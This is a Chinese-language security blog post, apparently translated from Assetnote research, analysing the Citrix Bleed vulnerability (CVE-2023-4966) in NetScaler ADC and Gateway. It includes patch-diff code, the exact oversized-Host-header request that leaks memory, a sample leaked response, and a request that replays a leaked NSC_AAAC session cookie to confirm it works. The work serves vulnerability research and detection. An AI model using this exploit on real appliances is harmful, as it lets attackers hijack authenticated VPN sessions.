白帽故事 · 2023年11月1日 0

Citrix滴血:CVE-2023-4966 泄漏Citrix会话Token

背景介绍

本月早些时候,Citrix 发布了一份安全公告,其中提到了“未经身份验证的缓冲区相关漏洞”和两个 CVE。这些问题影响了 Citrix NetScaler ADC 和 NetScaler Gateway。

该漏洞被描述为“敏感信息泄露”,CVSS 评分为 9.4。信息泄露漏洞的高分以及“缓冲区相关漏洞”的提及引起了国外研究人员的兴趣。

本文的目的是了解该漏洞并为攻击面管理平台开发检查规则。

对于那些不熟悉 Citrix NetScaler 的人来说,它是一种提供负载均衡、防火墙和 VPN 服务的网络设备, NetScaler Gateway 通常指 VPN 和身份验证组件,而 ADC 指负载均衡和流量管理功能。

对于只想查看漏洞利用或泄露测试的人,可以观看以下演示视频:

补丁对比

首先安装和配置要比较的两个版本。本文选择了13.1-49.15和13.1-48.47,通过之前使用 NetScaler 的经历,需要查看 /netscaler/nsppe 二进制文件,这是 NetScaler 数据包处理引擎,它包含了完整的 TCP/IP 网络堆栈以及多个 HTTP 服务,如果 NetScaler 中存在漏洞,那么首先要注意的就是这个漏洞。

研究人员使用 Ghidra 反编译了两个版本的 nsppe,并使用 BinExport 扩展创建了 BinDiff 文件,由于二进制文件非常大,因此该过程持续了一段时间,为了确保成功,研究人员将“编辑”->“工具选项”->“反编译器”下的反编译器设置调整为以下内容:

  • Cache Size (Functions): 2048
    缓存大小(功能):2048
  • Decompiler Max-Payload (Mbytes): 512
    反编译器最大有效负载(MB):512
  • Decompiler Timeout (seconds): 900
    反编译器超时(秒):900
  • Max Instructions per Function: 3000000
    每个功能的最大指令数:3000000

创建 BinDiff 文件后,开始进行比较,发现了大约 50 个函数发生了变化。

寻找易受攻击的函数

研究人员发现了两个突出的函数 ns_aaa_oauth_send_openid_configns_aaa_oauthrp_send_openid_config,这两个函数执行类似的操作,它们实现 OpenID Connect Discovery 端点,这些功能可以分别通过 /oauth/idp/.well-known/openid-configuration/oauth/rp/.well-known/openid-configuration 端点进行未经身份验证的访问。

这两个函数还包含相同的补丁,即发送响应之前的额外边界检查,可以在下面的代码片段中看到,显示了ns_aaa_oauth_send_openid_config 的前后变化。

原先代码:

iVar3 = snprintf(print_temp_rule,0x20000,
               "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\":  \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);

修复后代码:

uVar7 = snprintf(print_temp_rule,0x20000,
               "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\":  \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) {
    authv2_json_resp = 1;
    iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
    ...
}

该函数非常简单,它为 OpenID 配置生成 JSON Payload,并使用 snprintf 在Payload中的适当位置插入设备的主机名,在原始版本中,响应是立即发送的,而在修补版本中,仅当 snprintf 返回小于 0x20000 的值时才会发送响应。

该漏洞的产生是因为snprintf的返回值用于确定ns_vpn_send_response向客户端发送了多少字节,这是一个问题,因为 snprintf 不会返回它写入缓冲区的字节数,如果 snprintf 返回的缓冲区足够大,就会写入缓冲区的字节数。

为了利用这一点,我们需要做的就是弄清楚如何使响应超过 0x20000 字节的缓冲区大小,然后,应用程序将使用完全填充的缓冲区以及紧随 print_temp_rule 缓冲区的任意内存进行响应。

漏洞利用

插入Payload中的值不是来自配置的主机名,实际上来自 HTTP Host Header。

幸运的是,NetScaler 将主机名插入到 Payload 中6次,这就意味可以达到 0x20000 字节的缓冲区限制,而不会因为主机标头或整个请求太长而遇到问题。

请求如下:

GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close

收到的响应如下所示(其中删除了部分不可打印的字符):

HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web

{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/

{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ   è"AAA_PARAMí

可以清楚地看到紧随 JSON 之后的大量内存泄漏,虽然其中很多是空字节,但响应中确实存在一些可疑的信息。

验证会话Token

由于 print_temp_rule 缓冲区是静态全局的,因此每次得到的响应都是相同的,这也使得测试变得容易,研究人员不必为了找到某些东西而运行请求数千次。

研究人员能够可靠地获取在响应中看到的 65 字节长的十六进制字符串,并通过将其用作 NSC_AAAC 会话 cookie 来验证它是否是有效的会话 cookie。

POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: 192.168.1.51
Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525d5f4f58455e445a4a42
Content-Length: 0
Connection: close

HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 4
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
X-Citrix-Application: Receiver for Web

testuser1

并非每个 NetScaler 实例都配置为使用相同类型的身份验证,但在研究人员测试过的实例子中都可以在响应中找到 32 或 65 字节长的十六进制字符串。

最后的想法

尽管建议使用 snprintf 作为 sprintf 的安全替代,但仍需谨慎,使用 snprintf 虽然避免了缓冲区溢出,但随后的缓冲区过度读取仍会是一个问题。

与 Citrix NetScaler 之前的问题一样,由于缺乏其它深度防御技术和缓解措施,该问题变得更加严重。

不清除临时缓冲区中的敏感数据,以及对客户提供的数据进行更严格的验证,这两项最明显的缓解措施本可将损失降至最低。

感谢阅读。

原文:https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966?ref=weekly.infosecwriteups.com